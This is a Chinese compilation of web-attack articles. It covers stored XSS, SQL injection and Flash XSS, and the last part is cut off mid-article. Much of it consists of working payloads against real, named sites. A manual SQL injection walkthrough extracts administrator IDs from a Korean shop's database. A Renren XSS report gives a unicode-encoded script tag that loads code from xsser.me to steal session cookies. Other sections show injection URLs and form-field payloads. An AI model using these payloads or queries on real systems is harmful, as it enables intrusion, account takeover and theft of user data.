存储型XSS脚本安全
“柠豆”通过精心收集,向本站投稿了9篇存储型XSS脚本安全,以下是小编为大家整理后的存储型XSS脚本安全,希望能够帮助到大家。
篇1:存储型XSS脚本安全
如果把浏览器看作WEB2.0后时代的操作系统,那么客户端脚本就相当于传统的应用程序,而XSS的攻击方式其实就相当于在被攻击者的系统上执行了一个木马程序,但这种“木马”有个很大的缺点,就是无法像传统木马那样在操作系统中安家,以后还能自动执行。
前几个月发现了一种有趣的XSS漏洞,这种漏洞攻击一次后XSS代码就会被存储下来,以后每次访问被XSS的网站这个“木马”都会再自动执行。我在网上没有找到相关的资料,这里姑且称之为“存储型XSS”(如果有朋友之前看到过类似的文档,欢迎指教)。
原理其实也很简单,流程如下:
XSS代码被提交给网站-->网站把XSS代码SetCookie给浏览器-->浏览器再次请求网站时提交包含XSS代码的Cookie-->网站从Cookie中取出包含XSS代码的某变量并将该变量作为页面内容的一部分返回给客户端-->客户端执行XSS代码
XSS代码除了存储在客户端的Cookie中,也可能存储在服务器端,不过这种情形应该比较少。
比较常见的例子是提供多种语言支持的网站。用户在网站上设定要使用的语言,然后这个语言变量会被存储在Cookie或服务器端数据库。如在一些网页中可以看到类似这样的函数:
function getLocal {
var local;
local = 'zh_CN';
return local;
}
其中的local变量可能就是从客户端提交的Cookie或服务器数据库中取出的,
客户端请求如下URL:
tk.xfocus.org/setlocale.php?locale=zh_CN';return local;}alert(“XSS”);function dummy(){a='
“zh_CN';return local;}alert(“XSS”);function dummy(){a='”就会被作为语言信息存储下来。浏览器再去请求网站页面时,上面的函数就会变成这样:
function getLocal() {
var local;
local = 'zh_CN';return local;}alert(“XSS”);function dummy(){a='';
return local;
}
由于语言信息是需要全局使用的,所以一般网站的每个页面都会包含上面的代码。这样,“木马”就长存于“操作系统”中了。以后被攻击者每次访问该网站的每一个页面,都会执行这些XSS代码。
篇2:一次简单的搜索型注入脚本安全
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞,然后搜索%,如果正常返回,说明95%有洞了。
然后再搜索一个关键字,比如吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到当前数据库账号
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到当前数据库名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and%20(select%20top%201%20name%20from%20lvhuana3.dbo.sysobjects%20where%20xtype='u'%20and%20status>0%20and%20name%20not%20in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0%20and%20'%'=' //依次类推,得到所有的表
其实分析可以知道只有这个tbl_admin表才是最重要的,
接着开始暴列名。
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level
列名暴完毕了,嘿嘿,接着开始暴管理员账号密码了。
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。
一会再想别的办法吧。。。。。
篇3:人人网某处存储型XSS
欢迎人人网回来,特发此洞!
某处一个存储型的XSS,看了就中,还会同步到新鲜事~~
客服妹子太聪明,居然跨不了她,。。
目测木有设置HTTPONLY,获取COOKIES后轻松入侵~~
目测还有红包?嘿嘿。。
详细说明:相册中,上传一张相片,目测对photos过滤不严格,再次目测貌似什么都没过滤,所以就产生了XSS。
再加上没有设置HTTPONLY,所以拿到了cookies后就可以随意进入你的人人网了哦~~
另外,客服很聪明,居然跨不了他,呜呜。。。
测试地址:
photo.renren.com/photo/sp/foA-BJTryEQ
过程如下:
在相册中随意上传一张相片,到发布的时候截包。放过前面几个包,到upload.renren.com/upload/[YOUR ID]/finish_upload/v1.0的时候停下。
关键就是其中的photos参数~
信息如下,
%5B%7B%22code%22%3A0%2C%22msg%22%3A%22%22%2C%22filename%22%3A%22nofilename.jpg%22%2C%22filesize%22%3A814%2C%22width%22%3A292%2C%22height%22%3A250%2C%22images%22%3A%5B%7B%22url%22%3A%22fmn061%2F0808%2F1520%2Foriginal_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22large%22%2C%22width%22%3A292%2C%22height%22%3A250%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Fmain_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22main%22%2C%22width%22%3A200%2C%22height%22%3A171%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Ftiny_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22tiny%22%2C%22width%22%3A50%2C%22height%22%3A50%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Fhead_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22head%22%2C%22width%22%3A100%2C%22height%22%3A85%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Foriginal_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22xlarge%22%2C%22width%22%3A292%2C%22height%22%3A250%7D%5D%2C%22tempID%22%3A%22fileItem335152128_0%22%2C%22title%22%3A%22%22%7D%5D
URIComp解码,得到
[{“code”:0,“msg”:“”,“filename”:“nofilename.jpg”,“filesize”:814,“width”:292,“height”:250,“images”:[{“url”:“fmn061/20120808/1520/original_rEuR_1b880000eece118d.jpg”,“type”:“large”,“width”:292,“height”:250},{“url”:“fmn061/20120808/1520/main_rEuR_1b880000eece118d.jpg”,“type”:“main”,“width”:200,“height”:171},{“url”:“fmn061/20120808/1520/tiny_rEuR_1b880000eece118d.jpg”,“type”:“tiny”,“width”:50,“height”:50},{“url”:“fmn061/20120808/1520/head_rEuR_1b880000eece118d.jpg”,“type”:“head”,“width”:100,“height”:85},{“url”:“fmn061/20120808/1520/original_rEuR_1b880000eece118d.jpg”,“type”:“xlarge”,“width”:292,“height”:250}],“tempID”:“fileItem335152128_0”,“title”:“”}]
目测,通常这种都没有过滤js unicode后的代码。
所以我们将JS代码unicode一下。
“>
u0022u003eu003cu0073u0063u0072u0069u0070u0074u0020u0073u0072u0063u003du0068u0074u0074u0070u003au002fu002fu0078u0073u0073u0065u0072u002eu006du0065u002fu0070u0049u0051u004bu004bu007au003eu003cu002fu0073u0063u0072u0069u0070u0074u003e
将UNICODE后的插在图片地址的后面,
[{”code“:0,”msg“:”“,”filename“:”nofilename.jpg“,”filesize“:814,”width“:292,”height“:250,”images“:[{”url“:”fmn061/20120808/1520/original_rEuR_1b880000eece118d.jpgu0022u003eu003cu0073u0063u0072u0069u0070u0074u0020u0073u0072u0063u003du0068u0074u0074u0070u003au002fu002fu0078u0073u0073u0065u0072u002eu006du0065u002fu0070u0049u0051u004bu004bu007au003eu003cu002fu0073u0063u0072u0069u0070u0074u003e“,”type“:”large“,”width“:292,”height“:250},{”url“:”fmn061/20120808/1520/main_rEuR_1b880000eece118d.jpg“,”type“:”main“,”width“:200,”height“:171},{”url“:”fmn061/20120808/1520/tiny_rEuR_1b880000eece118d.jpg“,”type“:”tiny“,”width“:50,”height“:50},{”url“:”fmn061/20120808/1520/head_rEuR_1b880000eece118d.jpg“,”type“:”head“,”width“:100,”height“:85},{”url“:”fmn061/20120808/1520/original_rEuR_1b880000eece118d.jpg“,”type“:”xlarge“,”width“:292,”height“:250}],”tempID“:”fileItem335152128_0“,”title“:”“}]
然后给他进行URIComp编码。
将这个替换fiddler中的photo中的参数。
%5B%7B%22code%22%3A0%2C%22msg%22%3A%22%22%2C%22filename%22%3A%22nofilename.jpg%22%2C%22filesize%22%3A814%2C%22width%22%3A292%2C%22height%22%3A250%2C%22images%22%3A%5B%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Foriginal_rEuR_1b880000eece118d.jpg%5Cu0022%5Cu003e%5Cu003c%5Cu0073%5Cu0063%5Cu0072%5Cu0069%5Cu0070%5Cu0074%5Cu0020%5Cu0073%5Cu0072%5Cu0063%5Cu003d%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu003a%5Cu002f%5Cu002f%5Cu0078%5Cu0073%5Cu0073%5Cu0065%5Cu0072%5Cu002e%5Cu006d%5Cu0065%5Cu002f%5Cu0070%5Cu0049%5Cu0051%5Cu004b%5Cu004b%5Cu007a%5Cu003e%5Cu003c%5Cu002f%5Cu0073%5Cu0063%5Cu0072%5Cu0069%5Cu0070%5Cu0074%5Cu003e%22%2C%22type%22%3A%22large%22%2C%22width%22%3A292%2C%22height%22%3A250%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Fmain_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22main%22%2C%22width%22%3A200%2C%22height%22%3A171%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Ftiny_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22tiny%22%2C%22width%22%3A50%2C%22height%22%3A50%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Fhead_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22head%22%2C%22width%22%3A100%2C%22height%22%3A85%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Foriginal_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22xlarge%22%2C%22width%22%3A292%2C%22height%22%3A250%7D%5D%2C%22tempID%22%3A%22fileItem335152128_0%22%2C%22title%22%3A%22%22%7D%5D
图在上面~~~
然后我们打开图片开源码,果断的X了。
同时,目测在新鲜事中也会有同步。
看了看新鲜事中的源码,也有JS链接,不过貌似不运行。。。-_-||
限制了新鲜事中的JS运行?
不过也无伤大雅,其他用户看到那么奇葩的代码应该都会去点一点的。。。
点就跨~~
修复方案:过滤photo中的输入~
只允许图片URL中出现英文和.
不如加上HTTPONLY?
篇4:遨游分站存储型xss
遨游浏览器的默认主页是i.maxthon.cn/,此分站是此主页的一个应用,访问比较大,
app1.i.maxthon.cn/存在存储型xss,和浏览器结合危害比较大。
荣誉墙服务端没有过滤,所有input标签无一幸免。
测试代码,浏览器本地提交:
document.getElementById(”widget-wall-to“).value=”天马行空工作室“;
document.getElementById(”widget-wall-from“).value=”tmxk.org“;
document.getElementById(”widget-wall-words“).value=”“;
document.getElementById(”form“).submit;
演示地址:
app1.i.maxthon.cn/?m=show&id=33481
app1.i.maxthon.cn/?m=show&id=33482
作者:random_
篇5:一号店存储型XSS
简要描述:表单页面对提交数据未做数据约束,导致页面存在一处存储型跨站漏洞一个,
该漏洞容易导致其他用户的cookies信息被窃取,以及挂马。
详细说明:编辑个人资料页面,对提交数据未做数据约束,昵称文本框,手动先修改绕过最大输入字符数:
提交,
t”>
漏洞证明:
修复方案:服务端对提交数据做数据约束,做白名单,禁用,'“/ 等字符。
作者 路人甲
篇6:注入笔记手工注入字符型注入漏洞脚本安全
今天给大家讲解一下字符型注入点注入,也许很多朋友看到字符型的注入大部分都是放弃此注入去寻找其他数字型注入,因为字符型注入应用的不是很广泛,好了,这里我就来交大家字符型注入,
首先打开localhost:/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包 /很明显,字符型注入,
前几张我们说到了判断字符型注入的语句是' and '1'='1 和' and '1'=2 我们来看看。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='1 返回正常。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2 返回错误。
我们确定了注入点那么我们先看看数字型注入能否在这里使用
先用联合查询 order by
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包+order+by+1 很明显,出错啦,不可使用。
那么再用半猜解查询试试
同样出错。
看来字数字型注入在字符型注入中失效啦,那么我们来试试
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+Manage_User)>0+and+''=' 返回了正常,说明存在manage_user表。
在sql语句中字符型参数必须用单引号闭合(')否则会出错。所以我们在注入中也先要用单引号来闭合语句。
下面我们来猜字段名。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(username)+from+Manage_User)>0+and+''=' 返回正常,存在,
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>0+and+''=' 返回正常,存在。
这里我只截一张图。
下面判断一下username中字段长度
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>4+and+''=' 返回正常
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)=5+and+''=' 返回正常
密码字段省略。下面进行猜解用户名。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,1))=97)+and+''=' 返回正常,username表中第一位是ascll码97,明文为:a
接着猜解第二位:localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,2))=100)+and+''='
返回正常,username字段中第二位ASCLL码为100,名为为d
这里之后依次往下猜,最后得到username表中数据为:admin,打开数据库看一下是否一样。
这里说明我们猜解正确。
篇7:关于defined脚本安全
很多php使用defined来防止外部直接访问php文件,从而保证了只让内部php文件include等调用,如下面:
//tag.php
if (!defined(”X“)) {
echo ”You Cannot Access This Script. Directly, Have a Nice Day.“;
exit();
}
?>
这样的代码可以解决很多的安全问题,比如变量未定义[应该说在本文件内未定义]。
但是这样的在本地包含漏洞前就没什么意义了。比如进来看一代码
common.php文件里:
if ( !defined('X') )
{
die('Do not access this file directly.');
}
if ( !isset($root_path) )
{
$root_path = './';
}
require_once($root_path . 'config.php');
如果没有!defined('X') 的限制那么我们,这里$root_path未定义导致了一个远程包含,
而在改脚本又存在一个update-->include的2次攻击导致的本地包含,那么我们可以通过这个本地包含漏洞包含common.php导致突破!defined('X'),转化为远程包含。
篇8:Flash应用安全系列360反射型跨站脚本安全
简要描述:
360某处Flash应用存在漏洞,可能导致跨站脚本攻击,
详细说明:
在一切开始之前,我们先来说明几个基本的问题。
1.SWF如何被嵌入HTML页面的
此处所说的嵌入,就是指当你打开一个网页,这个网页中包含着SWF媒体文件,通常是embed或者object标签的形式。SWF嵌入HTML时,embed或者object标签通常还含有几个特定的属性,关键的有allowScriptAccess以及allowNetworking。
allowScriptAccess控制着SWF文件与HTML页面通信的级别,这里所说的通信,包括但不仅限于让SWF执行JS,还囊括了从JS调用SWF里预留出的api接口。
allowScriptAccess有以下三个值:
always 允许任意SWF文件与HTML页面通信。never 禁止任意SWF文件与HTML页面通信。samedomain 只有在SWF文件来自与HTML页相同的域时才允许通信。当未指定allowScriptAccess时,samedomain为默认值。
allowNetworking控制着SWF文件与WEB通信的级别,这里所说的通信,基本上就是发送、读取网络上的资源文件,以及控制浏览器的页面导航。
allowNetworking有以下三个值:
all 无任何限制。internal 禁止控制浏览器页面导航的函数。none 禁止任何网络通信。当未指定allowNetworking时,all为默认值。
2.我直接打开SWF文件时发生了什么
如果你在直接打开SWF文件时,使用IE开发者工具或者Firebug查看DOM源码就会发现,其实你打开的还是一个HTML页面,页面的内容只有一行代码:






文档为doc格式